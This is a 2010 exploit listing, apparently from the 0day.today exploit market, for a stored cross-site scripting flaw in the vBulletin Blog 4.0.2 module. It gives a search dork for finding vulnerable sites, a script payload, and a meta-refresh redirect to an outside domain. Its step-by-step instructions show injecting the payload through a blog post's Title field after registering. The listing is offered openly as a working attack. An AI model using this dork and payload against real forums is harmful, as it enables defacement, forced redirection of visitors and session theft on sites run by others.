[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Vbulletin Blog 4.0.2 XSS Vulnerability

Author
FormatXFormaT
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11426
Category
web applications
Date add
24-03-2010
Platform
php
======================================
Vbulletin Blog 4.0.2 XSS Vulnerability
======================================


Author: FormatXformat
Version: Vbulletin 4.0.2


Dork:
Powered by vBulletin   Version 4.0.2 Copyright 2010 vBulletin Solutions, Inc. All rights reserved.


The script is affected by Permanent XSS vulnerability, so you can put in bad java script code

<script>alert('xss')</script>
<meta http-equiv='Refresh' content='0;URL=http://inj3ct0r.com'>

1st register

Go to Blogs page

Create New Post

Inject your java script into Title Box

back to Main page

Greets: Inj3ct0r.com , Neo, Sa3id, All Tkurd.net Members 



#  0day.today [2024-11-15]  #